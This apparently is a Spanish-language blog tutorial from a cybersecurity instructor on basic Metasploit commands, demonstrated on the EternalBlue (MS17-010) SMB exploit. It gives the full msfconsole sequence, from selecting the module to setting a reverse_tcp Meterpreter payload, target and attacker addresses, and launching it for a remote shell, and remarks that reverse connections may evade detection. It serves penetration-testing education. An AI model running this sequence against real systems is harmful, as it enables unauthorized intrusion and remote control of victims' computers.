Fundamentos de Metasploit Framework para la Explotación

  • Posted on: 4 September 2018
  • By: ReYDeS

A continuación se presenta un proceso ligero para utilizar algunos comandos de Metasploit Framework, los cuales son muy útiles para la fase de explotación.

  • Search: Busca por todos los exploits en la base de datos de Mestasploit Framework, basándose también en identificadores como CVE.
  • Use: Define la utilización de un exploit, el cual se ajuste mejor al requerimiento.
  • Show Payloads: Muestra los payloads disponibles para el exploit seleccionado.
  • Set Payload: Define la utilización de un payload para el exploit seleccionado.
  • Show Options: Visualiza las opciones necesarias las cuales deben ser configuradas como parte del payload seleccionado.
  • Set Options: Asigna valores a todas las opciones necesarias, las cuales deben estar presentes para el éxito del payload.
  • Exploit: Envía el exploit previamente configurado hacia el sistema objetivo.

Para empezar es necesario iniciar el servicio postgresql, para luego iniciar Metasploit Framework. Esto es bastante sencillo, pues únicamente se debe escribir en el terminal el comando “msfconsole”. Esto debe demorar alrededor de un minuto. También se sugiere actualizar frecuentemente Metasploit Framework, pues constantemente se incluyen nuevos módulos.

# service postgresql start
# msfconsole

Search (Buscar)

La primera tarea es encontrar los exploits disponibles en Metasploit Framework. El exploit a buscar es uno con el identificador CVE-2017-0144, o más conocido como “EternalBlue” (MS17-010). EternalBlue explota una vulnerabilidad en la implementación del protocolo (SMB) Server Message Block. Esta vulnerabilidad existe porque el servidor SMB v1 (SMBv1) en varias versiones de Microsoft Windows maneja mal paquetes especialmente diseñados por atacantes remotos, permitiendo ejecutar código arbitrario sobre la computadora objetivo.

msf > search eternalblue

Se sugiere utilizar el rango del exploit como una guía para seleccionarlo. Cada exploit tiene uno de siete posible rangos; excelente (mejor elección), grandioso, bueno, normal, promedio, bajo, y manual (peor elección). Un rango bajo del exploit, implica la probabilidad de causar algún daño en el objetivo, o no estar en la capacidad de entregar el payload seleccionado.

Use (Usa)

Una vez se han revisado todos los posibles exploits en Metasploit Framework, y decidido cual es la mejor elección para el objetivo de evaluación, se debe utilizar el comando “use” para indicarle al framework su utilización.

msf > use exploit/windows/smb/ms17_010_eternalblue

Notar como el prompt cambia, lo cual indica la utilización del exploit seleccionado.

Show Payloads (Mostrar Cargas)

Este comando muestra todos los posibles payloads o cargas útiles, factibles de ser utilizados con el exploit seleccionado.

msf exploit(windows/smb/ms17_010_eternalblue) > show payloads

Una rápida revisión sobre los rangos de estos payloads, no proporciona guía sobre cual de estos seleccionar, pues todos son “normales”. Esto es bueno, pues se puede intentar un exploit varias veces con diferentes payloads de ser necesario.

Set Payload (Seleccionar Carga)

Conociendo cuales payloads están disponibles para explotar la vulnerabilidad, es momento de seleccionar un payload. Para el siguiente ejemplo se utiliza un payload de nombre “Meterpreter”, el cual funciona de manera “inversa”, es decir, una conexión se establecerá desde la victima hacia el atacante. Lo cual podría minimizar la probabilidad de ser detectado por un sistema para la detección de intrusiones.

msf exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp

Show Options (Mostrar Opciones)

Cada exploit y payload tienen opciones específicas, las cuales son necesarias de definir para su satisfactorio funcionamiento. En muchos casos, sólo es necesario definir las direcciones IP de la máquina objetivo y la máquina atacante. La máquina objetivo se conoce como el host remoto (RHOST), mientras la máquina atacante se conocer como host local (LHOST). Para el presente ejemplo el comando proporciona los siguientes detalles sobre el exploit y el payload.

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Aquí hay tres opciones importantes las cuales se deben definir; RHOST para definir la dirección IP del objetivo en evaluación (victima), LHOST para definir la dirección IP del host local o atacante, y LPORT para definir el puerto local donde se recibirá la conexión entrante. Aunque esta última opción podría utilizarse con su definición por defecto.

Set Option (Ajustar Opción)

Se necesitan asignar todos los valores requeridos para las opciones del exploit y payload. Si se dejasen en blanco, el exploit fallaría porque no contiene la información necesaria para funcionar completamente.

msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.0.70
msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.0.78

Luego de esto se sugiere utilizar el comando para verificar la correcta definición de las opciones.

msf exploit(windows/smb/ms17_010_eternalblue) > show options

Exploit (Explota)

Si todo lo anterior se ha realizado correctamente, simplemente al escribir el comando “exploit”, se explotará satisfactoriamente el sistema objetivo, recibiendo una shell de Meterpreter para controlar remotamente la máquina comprometida.

msf exploit(windows/smb/ms17_010_eternalblue) > exploit

Con estos fundamentos sobre la explotación utilizado Metasploit Framework, también se sugiere desarrollar habilidades con otros módulos, como también el conocer como realizar una explotación manual.

Fuentes:

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue
https://en.wikipedia.org/wiki/EternalBlue
https://www.offensive-security.com/metasploit-unleashed/msfconsole-comma...

Sobre el Autor


Alonso Eduardo Caballero Quezada - ReYDeS
Instructor y Consultor Independiente en Ciberseguridad
Correo Electrónico: ReYDeS@gmail.com
Twitter: https://twitter.com/Alonso_ReYDeS
LinkedIn: https://pe.linkedin.com/in/alonsocaballeroquezada/
Facebook: https://www.facebook.com/alonsoreydes
Youtube: https://www.youtube.com/c/AlonsoCaballero


Curso de Informática Forense